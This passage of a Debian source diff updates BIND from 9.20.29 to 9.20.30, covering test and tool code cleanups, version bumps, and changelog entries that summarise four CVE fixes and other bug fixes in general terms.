bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py --- bind9-9.20.29/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py 2026-10-12 13:12:08.311897859 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/xfer/tests_xfer.py bind9-9.20.30/bin/tests/system/xfer/tests_xfer.py --- bind9-9.20.29/bin/tests/system/xfer/tests_xfer.py 2026-09-11 19:41:01.401328603 +0000 +++ bind9-9.20.30/bin/tests/system/xfer/tests_xfer.py 2026-10-12 13:12:08.311897859 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - from re import compile as Re import fileinput diff -Nru bind9-9.20.29/bin/tests/system/xfer_servers_list/tests_xfer_servers_list.py bind9-9.20.30/bin/tests/system/xfer_servers_list/tests_xfer_servers_list.py --- bind9-9.20.29/bin/tests/system/xfer_servers_list/tests_xfer_servers_list.py 2026-09-11 19:41:01.402328626 +0000 +++ bind9-9.20.30/bin/tests/system/xfer_servers_list/tests_xfer_servers_list.py 2026-10-12 13:12:08.312897880 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/xferquota/setup.py bind9-9.20.30/bin/tests/system/xferquota/setup.py --- bind9-9.20.29/bin/tests/system/xferquota/setup.py 2026-09-11 19:41:01.403328651 +0000 +++ bind9-9.20.30/bin/tests/system/xferquota/setup.py 2026-10-12 13:12:08.313897902 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/xferquota/tests_xferquota.py bind9-9.20.30/bin/tests/system/xferquota/tests_xferquota.py --- bind9-9.20.29/bin/tests/system/xferquota/tests_xferquota.py 2026-09-11 19:41:01.403328651 +0000 +++ bind9-9.20.30/bin/tests/system/xferquota/tests_xferquota.py 2026-10-12 13:12:08.313897902 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -88,7 +88,9 @@ def _flood_unauthorized_axfrs(port, duration): - """Child process: send unauthorized AXFR requests for `duration` seconds.""" + """ + Child process: send unauthorized AXFR requests for `duration` seconds. + """ deadline = time.monotonic() + duration while time.monotonic() < deadline: try: @@ -99,7 +101,8 @@ def test_xfrquota_unauthorized_no_starve(named_port): - """Unauthorized AXFR clients must not consume XFR-out quota (GL #3859). + """ + Unauthorized AXFR clients must not consume XFR-out quota (GL #3859). ns3 is configured with transfers-out 1 and allow-transfer { 10.53.0.2; }. We flood AXFR requests from unauthorized source processes (10.53.0.1) and diff -Nru bind9-9.20.29/bin/tests/system/zero/ans5/ans.py bind9-9.20.30/bin/tests/system/zero/ans5/ans.py --- bind9-9.20.29/bin/tests/system/zero/ans5/ans.py 2026-09-11 19:41:01.403328651 +0000 +++ bind9-9.20.30/bin/tests/system/zero/ans5/ans.py 2026-10-12 13:12:08.313897902 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -19,12 +17,8 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend class IncrementARecordHandler(ResponseHandler): diff -Nru bind9-9.20.29/bin/tests/system/zero/tests_sh_zero.py bind9-9.20.30/bin/tests/system/zero/tests_sh_zero.py --- bind9-9.20.29/bin/tests/system/zero/tests_sh_zero.py 2026-09-11 19:41:01.404328674 +0000 +++ bind9-9.20.30/bin/tests/system/zero/tests_sh_zero.py 2026-10-12 13:12:08.314897923 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -15,7 +15,6 @@ [ "dig.out*", "query.list", - "ans*/ans.run", "ns2/example.db", "ns4/example.bk", ] diff -Nru bind9-9.20.29/bin/tests/system/zonechecks/tests_sh_zonechecks.py bind9-9.20.30/bin/tests/system/zonechecks/tests_sh_zonechecks.py --- bind9-9.20.29/bin/tests/system/zonechecks/tests_sh_zonechecks.py 2026-09-11 19:41:01.406328722 +0000 +++ bind9-9.20.30/bin/tests/system/zonechecks/tests_sh_zonechecks.py 2026-10-12 13:12:08.315897944 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tools/dnstap-read.c bind9-9.20.30/bin/tools/dnstap-read.c --- bind9-9.20.29/bin/tools/dnstap-read.c 2026-09-11 19:41:01.407328746 +0000 +++ bind9-9.20.30/bin/tools/dnstap-read.c 2026-10-12 13:12:08.316897966 +0000 @@ -316,8 +316,7 @@ isc_buffer_add(&b, m->query_zone.len); isc_buffer_setactive(&b, m->query_zone.len); - result = dns_name_fromwire(name, &b, DNS_DECOMPRESS_NEVER, - NULL); + result = dns_name_fromwire(name, &b, NULL, NULL); if (result == ISC_R_SUCCESS) { printf(" query_zone: "); dns_name_print(name, stdout); diff -Nru bind9-9.20.29/bin/tools/mdig.c bind9-9.20.30/bin/tools/mdig.c --- bind9-9.20.29/bin/tools/mdig.c 2026-09-11 19:41:01.407328746 +0000 +++ bind9-9.20.30/bin/tools/mdig.c 2026-10-12 13:12:08.317897987 +0000 @@ -1122,7 +1122,8 @@ static void plus_option(char *option, struct query *query, bool global) { isc_result_t result; - char *cmd, *value, *last = NULL, *code; + const char *cmd, *tail; + char *value, *last = NULL, *code; uint32_t num; bool state = true; size_t n; @@ -1133,8 +1134,9 @@ printf(";; Invalid option %s\n", option); return; } - if (strncasecmp(cmd, "no", 2) == 0) { - cmd += 2; + tail = isc_string_casestripprefix(cmd, "no"); + if (tail != NULL) { + cmd = tail; state = false; } /* parse the rest of the string */ @@ -1972,7 +1974,7 @@ rc = argc; rv = argv; for (rc--, rv++; rc > 0; rc--, rv++) { - if (strncmp(rv[0], "%", 1) == 0) { + if (isc_string_hasprefix(rv[0], "%")) { break; } if (rv[0][0] == '@') { diff -Nru bind9-9.20.29/bin/tools/named-rrchecker.c bind9-9.20.30/bin/tools/named-rrchecker.c --- bind9-9.20.29/bin/tools/named-rrchecker.c 2026-09-11 19:41:01.408328770 +0000 +++ bind9-9.20.30/bin/tools/named-rrchecker.c 2026-10-12 13:12:08.317897987 +0000 @@ -121,7 +121,7 @@ continue; } dns_rdataclass_format(t, text, sizeof(text)); - if (strncmp(text, "CLASS", 5) != 0) { + if (!isc_string_hasprefix(text, "CLASS")) { fprintf(stdout, "%s\n", text); } } @@ -133,7 +133,7 @@ continue; } dns_rdatatype_format(t, text, sizeof(text)); - if (strncmp(text, "TYPE", 4) != 0) { + if (!isc_string_hasprefix(text, "TYPE")) { fprintf(stdout, "%s\n", text); } } @@ -146,7 +146,7 @@ continue; } dns_rdatatype_format(t, text, sizeof(text)); - if (strncmp(text, "TYPE", 4) != 0) { + if (!isc_string_hasprefix(text, "TYPE")) { fprintf(stdout, "%s\n", text); } } diff -Nru bind9-9.20.29/configure bind9-9.20.30/configure --- bind9-9.20.29/configure 2026-09-11 19:42:17.243156722 +0000 +++ bind9-9.20.30/configure 2026-10-12 13:13:32.318557612 +0000 @@ -1,6 +1,6 @@ #! /bin/sh # Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.72 for BIND 9.20.29. +# Generated by GNU Autoconf 2.72 for BIND 9.20.30. # # Report bugs to . # @@ -615,8 +615,8 @@ # Identity of this package. PACKAGE_NAME='BIND' PACKAGE_TARNAME='bind' -PACKAGE_VERSION='9.20.29' -PACKAGE_STRING='BIND 9.20.29' +PACKAGE_VERSION='9.20.30' +PACKAGE_STRING='BIND 9.20.30' PACKAGE_BUGREPORT='https://gitlab.isc.org/isc-projects/bind9/-/issues/new?issuable_template=Bug' PACKAGE_URL='https://www.isc.org/downloads/' @@ -1573,7 +1573,7 @@ # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF -'configure' configures BIND 9.20.29 to adapt to many kinds of systems. +'configure' configures BIND 9.20.30 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... @@ -1645,7 +1645,7 @@ if test -n "$ac_init_help"; then case $ac_init_help in - short | recursive ) echo "Configuration of BIND 9.20.29:";; + short | recursive ) echo "Configuration of BIND 9.20.30:";; esac cat <<\_ACEOF @@ -1895,7 +1895,7 @@ test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF -BIND configure 9.20.29 +BIND configure 9.20.30 generated by GNU Autoconf 2.72 Copyright (C) 2023 Free Software Foundation, Inc. @@ -2315,7 +2315,7 @@ This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. -It was created by BIND $as_me 9.20.29, which was +It was created by BIND $as_me 9.20.30, which was generated by GNU Autoconf 2.72. Invocation command line was $ $0$ac_configure_args_raw @@ -3100,7 +3100,7 @@ printf "%s\n" "#define PACKAGE_VERSION_MINOR \"20\"" >>confdefs.h -printf "%s\n" "#define PACKAGE_VERSION_PATCH \"29\"" >>confdefs.h +printf "%s\n" "#define PACKAGE_VERSION_PATCH \"30\"" >>confdefs.h printf "%s\n" "#define PACKAGE_VERSION_EXTRA \"\"" >>confdefs.h @@ -3109,7 +3109,7 @@ printf "%s\n" "#define PACKAGE_DESCRIPTION \" (Stable Release)\"" >>confdefs.h -printf "%s\n" "#define PACKAGE_SRCID \"c3d4465\"" >>confdefs.h +printf "%s\n" "#define PACKAGE_SRCID \"769c3fb\"" >>confdefs.h bind_CONFIGARGS="${ac_configure_args:-default}" @@ -3944,7 +3944,7 @@ # Define the identity of the package. PACKAGE='bind' - VERSION='9.20.29' + VERSION='9.20.30' printf "%s\n" "#define PACKAGE \"$PACKAGE\"" >>confdefs.h @@ -30614,7 +30614,7 @@ # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" -This file was extended by BIND $as_me 9.20.29, which was +This file was extended by BIND $as_me 9.20.30, which was generated by GNU Autoconf 2.72. Invocation command line was CONFIG_FILES = $CONFIG_FILES @@ -30683,7 +30683,7 @@ cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config='$ac_cs_config_escaped' ac_cs_version="\\ -BIND config.status 9.20.29 +BIND config.status 9.20.30 configured by $0, generated by GNU Autoconf 2.72, with options \\"\$ac_cs_config\\" diff -Nru bind9-9.20.29/configure.ac bind9-9.20.30/configure.ac --- bind9-9.20.29/configure.ac 2026-09-11 19:41:01.410328818 +0000 +++ bind9-9.20.30/configure.ac 2026-10-12 13:12:08.320898051 +0000 @@ -16,7 +16,7 @@ # m4_define([bind_VERSION_MAJOR], 9)dnl m4_define([bind_VERSION_MINOR], 20)dnl -m4_define([bind_VERSION_PATCH], 29)dnl +m4_define([bind_VERSION_PATCH], 30)dnl m4_define([bind_VERSION_EXTRA], )dnl m4_define([bind_DESCRIPTION], [(Stable Release)])dnl m4_define([bind_SRCID], [m4_esyscmd_s([git rev-parse --short HEAD | cut -b1-7])])dnl diff -Nru bind9-9.20.29/contrib/gitchangelog/changelog.rc.py bind9-9.20.30/contrib/gitchangelog/changelog.rc.py --- bind9-9.20.29/contrib/gitchangelog/changelog.rc.py 2026-09-11 19:41:01.411328842 +0000 +++ bind9-9.20.30/contrib/gitchangelog/changelog.rc.py 2026-10-12 13:12:08.321898073 +0000 @@ -157,6 +157,7 @@ body_process = ( ReSub(r"\n*See merge request isc-private/bind9!\d+", r"") | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/issues/", r"#") + | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/work_items/", r"#") | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/merge_requests/", r"!") | ReSub(r"\n*Backport of [^\n]+", r"") | ReSub(r"\n*(Replaces|Supersedes)[^\n]+", r"") diff -Nru bind9-9.20.29/contrib/gitchangelog/relnotes.rc.py bind9-9.20.30/contrib/gitchangelog/relnotes.rc.py --- bind9-9.20.29/contrib/gitchangelog/relnotes.rc.py 2026-09-11 19:41:01.412328866 +0000 +++ bind9-9.20.30/contrib/gitchangelog/relnotes.rc.py 2026-10-12 13:12:08.322898094 +0000 @@ -38,6 +38,7 @@ body_process = ( ReSub(r"\n*See merge request isc-private/bind9!\d+", r"") | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/issues/", r"#") + | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/work_items/", r"#") | ReSub(r"https://gitlab.isc.org/isc-projects/bind9/-/merge_requests/", r"!") | ReSub(r"\n*Backport of [^\n]+", r"") | ReSub(r"\n*(Replaces|Supercedes)[^\n]+", r"") diff -Nru bind9-9.20.29/debian/changelog bind9-9.20.30/debian/changelog --- bind9-9.20.29/debian/changelog 2026-09-16 13:42:29.000000000 +0000 +++ bind9-9.20.30/debian/changelog 2026-10-20 15:22:56.000000000 +0000 @@ -1,3 +1,17 @@ +bind9 (1:9.20.30-1~deb13u1) trixie-security; urgency=high + + * New upstream version 9.20.30 + + [CVE-2026-19630]: Prevent exhaustion of CPU while parsing crafted DNS + messages. + + [CVE-2026-94300]: Prevent concurrent GSS-TSIG traffic from + terminating named. + + [CVE-2026-96888]: Fix a crash with redirect zones and strict QNAME + minimization. + + [CVE-2026-97313]: Fix a crash when resuming from a query initiated by + RPZ. + + -- OndÅ™ej Surý Tue, 20 Oct 2026 17:22:56 +0200 + bind9 (1:9.20.29-1~deb13u1) trixie-security; urgency=high * New upstream version 9.20.29 diff -Nru bind9-9.20.29/doc/arm/_ext/iscconf.py bind9-9.20.30/doc/arm/_ext/iscconf.py --- bind9-9.20.29/doc/arm/_ext/iscconf.py 2026-09-11 19:41:01.413328890 +0000 +++ bind9-9.20.30/doc/arm/_ext/iscconf.py 2026-10-12 13:12:08.323898115 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ Sphinx domains for ISC configuration files. @@ -60,7 +58,8 @@ """ class StatementListDirective(Directive): - """A custom directive to generate list of statements. + """ + A custom directive to generate list of statements. It only installs placeholder which is later replaced by process_statementlist_nodes() callback. """ @@ -132,7 +131,9 @@ @property def isc_short_node(self): - """Short description parsed from rst to docutils node""" + """ + Short description parsed from rst to docutils node + """ return self.parse_nested_str(self.isc_short) def format_path(self, path): @@ -164,7 +165,9 @@ return list(self.format_path(path) for path in condensed_paths) def format_blocks(self, grammar_blocks): - """Generate node with list of all allowed blocks""" + """ + Generate node with list of all allowed blocks + """ blocks = nodes.paragraph() blocks += nodes.strong(text="Blocks: ") blocks += nodes.Text(", ".join(self.format_paths(grammar_blocks))) @@ -200,8 +203,10 @@ return grammarnode def format_warnings(self, flags): - """Return node with a warning box about deprecated and - experimental options""" + """ + Return node with a warning box about deprecated and + experimental options + """ warn = nodes.warning() if "deprecated" in flags: warn += nodes.paragraph( @@ -217,14 +222,18 @@ return warn def parse_nested_str(self, instr): - """Parse string as nested rst syntax and produce a node""" + """ + Parse string as nested rst syntax and produce a node + """ raw = nodes.paragraph(text=instr) parsed = nodes.paragraph() self.state.nested_parse(raw, self.content_offset, parsed) return parsed def transform_content(self, content_node: addnodes.desc_content) -> None: - """autogenerate content from structured data""" + """ + autogenerate content from structured data + """ self.workaround_transform_content = True if self.isc_short: content_node.insert(0, self.isc_short_node) @@ -261,12 +270,16 @@ content_node.insert(0, warn) def __init__(self, *args, **kwargs): - """Compability with Sphinx < 3.0.0""" + """ + Compability with Sphinx < 3.0.0 + """ self.workaround_transform_content = False super().__init__(*args, **kwargs) def run(self): - """Compability with Sphinx < 3.0.0""" + """ + Compability with Sphinx < 3.0.0 + """ nodelist = super().run() if not self.workaround_transform_content: # get access to "contentnode" created inside super.run() @@ -398,7 +411,8 @@ ) def merge_domaindata(self, docnames, otherdata): - """Sphinx API: Merge in data regarding *docnames* from a different + """ + Sphinx API: Merge in data regarding *docnames* from a different domaindata inventory (coming from a subprocess in parallel builds). @param otherdata is self.data equivalent from another process @@ -410,7 +424,9 @@ old.update(new) def check_consistency(self): - """Sphinx API""" + """ + Sphinx API + """ defined_statements = set( obj["signature"] for obj in self.data["statements"].values() ) @@ -530,10 +546,14 @@ class DictToDocutilsTableBuilder: - """generate docutils table""" + """ + generate docutils table + """ def __init__(self, header): - """@param header: [ordered list of TableColumn]s""" + """ + @param header: [ordered list of TableColumn]s + """ self.header = header self.table = nodes.table() self.table["classes"] += ["colwidths-auto"] @@ -563,8 +583,10 @@ self.tgroup += thead def append_iterable(self, objects): - """Append rows for each object (dict), ir order. - Extract column values from keys listed in self.header.""" + """ + Append rows for each object (dict), ir order. + Extract column values from keys listed in self.header. + """ for obj in objects: row = nodes.row() for column in self.header: diff -Nru bind9-9.20.29/doc/arm/_ext/mergegrammar.py bind9-9.20.30/doc/arm/_ext/mergegrammar.py --- bind9-9.20.29/doc/arm/_ext/mergegrammar.py 2026-09-11 19:41:01.413328890 +0000 +++ bind9-9.20.30/doc/arm/_ext/mergegrammar.py 2026-10-12 13:12:08.323898115 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ # Depends on CWD - Sphinx plugin diff -Nru bind9-9.20.29/doc/arm/_ext/namedconf.py bind9-9.20.30/doc/arm/_ext/namedconf.py --- bind9-9.20.29/doc/arm/_ext/namedconf.py 2026-09-11 19:41:01.413328890 +0000 +++ bind9-9.20.30/doc/arm/_ext/namedconf.py 2026-10-12 13:12:08.323898115 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ Sphinx domain "namedconf". See iscconf.py for details. diff -Nru bind9-9.20.29/doc/arm/_ext/rndcconf.py bind9-9.20.30/doc/arm/_ext/rndcconf.py --- bind9-9.20.29/doc/arm/_ext/rndcconf.py 2026-09-11 19:41:01.413328890 +0000 +++ bind9-9.20.30/doc/arm/_ext/rndcconf.py 2026-10-12 13:12:08.323898115 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ Sphinx domain "rndcconf". See iscconf.py for details. diff -Nru bind9-9.20.29/doc/arm/changelog.rst bind9-9.20.30/doc/arm/changelog.rst --- bind9-9.20.29/doc/arm/changelog.rst 2026-09-11 19:41:01.414328914 +0000 +++ bind9-9.20.30/doc/arm/changelog.rst 2026-10-12 13:12:08.324898137 +0000 @@ -18,6 +18,7 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.30.rst .. include:: ../changelog/changelog-9.20.29.rst .. include:: ../changelog/changelog-9.20.28.rst .. include:: ../changelog/changelog-9.20.27.rst diff -Nru bind9-9.20.29/doc/arm/conf.py bind9-9.20.30/doc/arm/conf.py --- bind9-9.20.29/doc/arm/conf.py 2026-09-11 19:41:01.415328938 +0000 +++ bind9-9.20.30/doc/arm/conf.py 2026-10-12 13:12:08.324898137 +0000 @@ -1,4 +1,3 @@ -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -9,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ from pathlib import Path import re diff -Nru bind9-9.20.29/doc/arm/dnssec.inc.rst bind9-9.20.30/doc/arm/dnssec.inc.rst --- bind9-9.20.29/doc/arm/dnssec.inc.rst 2026-09-11 19:41:01.417328986 +0000 +++ bind9-9.20.30/doc/arm/dnssec.inc.rst 2026-10-12 13:12:08.326898180 +0000 @@ -179,7 +179,7 @@ }; Here one server, ``192.0.2.1``, is configured for BIND to send DS queries to, -to check the DS RRset for ``dnssec-example`` during key rollovers. This needs +to check the DS RRset for ``dnssec.example`` during key rollovers. This needs to be a trusted server, because BIND does not validate the response. The ``checkds`` option makes BIND use the explicitly configured parental agents, rather than looking them up by querying for the parent NS records. diff -Nru bind9-9.20.29/doc/arm/notes.rst bind9-9.20.30/doc/arm/notes.rst --- bind9-9.20.29/doc/arm/notes.rst 2026-09-11 19:41:01.419329033 +0000 +++ bind9-9.20.30/doc/arm/notes.rst 2026-10-12 13:12:08.328898222 +0000 @@ -45,6 +45,7 @@ found at https://gitlab.isc.org/isc-projects/bind9/-/wikis/Known-Issues-in-BIND-9.20 +.. include:: ../notes/notes-9.20.30.rst .. include:: ../notes/notes-9.20.29.rst .. include:: ../notes/notes-9.20.28.rst .. include:: ../notes/notes-9.20.27.rst diff -Nru bind9-9.20.29/doc/arm/reference.rst bind9-9.20.30/doc/arm/reference.rst --- bind9-9.20.29/doc/arm/reference.rst 2026-09-11 19:41:01.421329082 +0000 +++ bind9-9.20.30/doc/arm/reference.rst 2026-10-12 13:12:08.330898265 +0000 @@ -6878,6 +6878,9 @@ :option:`rndc dnssec -checkds ` with the appropriate parameters, to signal that specific DS records are published and/or withdrawn. + Responses to DS queries are validated, so :any:`dnssec-validation` must be + enabled for the server. + .. namedconf:statement:: parental-source :tags: dnssec :short: Specifies which local IPv4 source address is used to send parental DS queries. diff -Nru bind9-9.20.29/doc/changelog/changelog-9.20.29.rst bind9-9.20.30/doc/changelog/changelog-9.20.29.rst --- bind9-9.20.29/doc/changelog/changelog-9.20.29.rst 2026-09-11 19:41:01.426329201 +0000 +++ bind9-9.20.30/doc/changelog/changelog-9.20.29.rst 2026-10-12 13:12:08.334898351 +0000 @@ -427,10 +427,9 @@ Don't accept signatures which length isn't equal to the expected calculated HMAC length unless it is explicitly requested by the - caller, e.g. for truncated TSIG [1] support. + caller, e.g. for truncated TSIG [1] support. :gl:`!12629` - [1] https://datatracker.ietf.org/doc/html/rfc8945#name-tsig-truncation - -policy :gl:`!12629` + [1] https://datatracker.ietf.org/doc/html/rfc8945#name-tsig-truncation-policy - Prevent resolver crashes while processing DNS over TCP. ``81b3b6d89f`` diff -Nru bind9-9.20.29/doc/changelog/changelog-9.20.30.rst bind9-9.20.30/doc/changelog/changelog-9.20.30.rst --- bind9-9.20.29/doc/changelog/changelog-9.20.30.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/doc/changelog/changelog-9.20.30.rst 2026-10-12 13:12:08.334898351 +0000 @@ -0,0 +1,321 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +BIND 9.20.30 +------------ + +Security Fixes +~~~~~~~~~~~~~~ + +- [CVE-2026-19630] Crafted DNS messages could exhaust CPU while being + parsed. ``5e8a2e1c76a`` + + A crafted message could make named spend a disproportionate amount of + time expanding compressed names in it, letting a client saturate all + worker threads with very little traffic and time out legitimate + queries. named now bounds how much name expansion a single message can + require and answers FORMERR when that bound is exceeded; ordinary + traffic, including zone transfers and dynamic updates, stays well + inside it. :gl:`#5932` + +- [CVE-2026-94300] Fix remote termination of named under concurrent + GSS-TSIG traffic. ``fe9cc14af0d`` + + A GSS-TSIG session negotiated through TKEY is shared by every message + signed or verified with that key, and named did not serialize access + to it, so concurrent signed messages could corrupt Kerberos-owned + state and terminate named unexpectedly. :gl:`#6320` + +- [CVE-2026-96888] Possible crash with redirect and qname-minimization + strict. ``1e1d0d42b59`` + + Processing an NXDOMAIN response with a redirect zone could cause + `named` to crash if `qname-minimization` was set to `strict`. + :gl:`#6386` + +- [CVE-2026-97313] Fix a bug when resuming from a query initiated by + RPZ. ``3e4fe14392e`` + + The :iscman:`named` process could terminate unexpectedly when resuming + from a query initiated by RPZ processing. This has been fixed. + + ISC would like to thank `whisperer` for reporting the issue. + :gl:`#6408` + +Bug Fixes +~~~~~~~~~ + +- Remove spurious named/named-checkconf warning. ``b066dde7047`` + + "static entry for the root zone WILL FAIL after key rollover - use + trust-anchors with initial-key or initial-ds instead" only makes sense + when you are using ICANN root keys as they use RFC 5011 for DNSKEY + management. Don't log it in other circumstances. :gl:`#5572` + :gl:`!12788` + +- Fix a data race in the RPZ summary database. ``f892fe7857b`` + + Reloading a response policy zone could modify entries of the summary + database in place while queries were reading them without a lock, + which ThreadSanitizer reported as a data race. Entries are now + replaced with a fresh copy instead, so queries keep reading a + consistent entry and the query path stays lock-free. :gl:`#5594` + :gl:`!12696` + +- Fix private-type RRset handling during apex delete updates. + ``f0aa2a0fab3`` + + When DNS UPDATE processing manipulates `diff.tuples` (e.g. during + delete-all-at-name or delete-RRset operations at a zone apex with + TYPE65534 private signing state), tuples were being unlinked from the + list using `ISC_LIST_UNLINK()` directly. This bypassed the `diff.size` + counter, causing it to drift out of sync with the actual list + contents. + + This commit introduces `dns_diff_unlink()`, which keeps `diff.size` + accurate when removing a tuple, and updates all call sites in + `lib/dns/` and `lib/ns/` that previously manipulated the list + directly. + + ISC thanks Mcsky23 and Qifan Zhang of Palo Alto Networks for reporting + the issue. :gl:`#5802` :gl:`!12703` + +- Revert "Prevent overwriting an existing iptable node when merging" + ``12dda38637f`` + + This reverts commit ebd86076bc30322d2955599bbc36ecfcbf8c0664. + + The above change had unintended side effects. The issue it attempted + to address will be fixed properly in due course. :gl:`#6049` + :gl:`!12740` + +- Don't accept HMAC-based keys and signatures for SIG(0) or DNSSEC. + ``52326a3fd05`` + + Due to an oversight HMAC keys could be accepted for SIG(0) and DNSSEC + purposes. This has been fixed. :gl:`#6086` :gl:`!12700` + +- Fix DNSSEC tool dates read one hour late during daylight saving time. + ``78be42b3fdd`` + + When a key timing value was passed to the DNSSEC tools in the format + that dnssec-settime -p prints (for example Wed Jul 1 12:00:00 2026), + it was read as standard time. While daylight saving time was in + effect, the resulting time was one hour late. These values are now + read in the correct local time. :gl:`#6089` :gl:`!12889` + +- "libisccc flat S-expression free can exhaust stack" ``bcb45f4c696`` + + It was possible to exceed the stack in rndc if it had to free really + deep answer chains from a hostile server. Flatten the freeing of + answer chains. Printing the sexpr tree for debugging also suffers + from the same stack exhaustion problem due to excessive recursion. + Flatten sexpr tree printing. :gl:`#6090` :gl:`!12786` + +- Fix RRL qps-scale TCP credit age check uses the response bucket age. + ``0f047525d94`` + + There was a cut-and-paste bug in `debit_rrl_entry` where the age from + the wrong entry was used to set scale. Use `credit_e` instead of `e`. + :gl:`#6106` :gl:`!12850` + +- Enforce non empty URI target field in 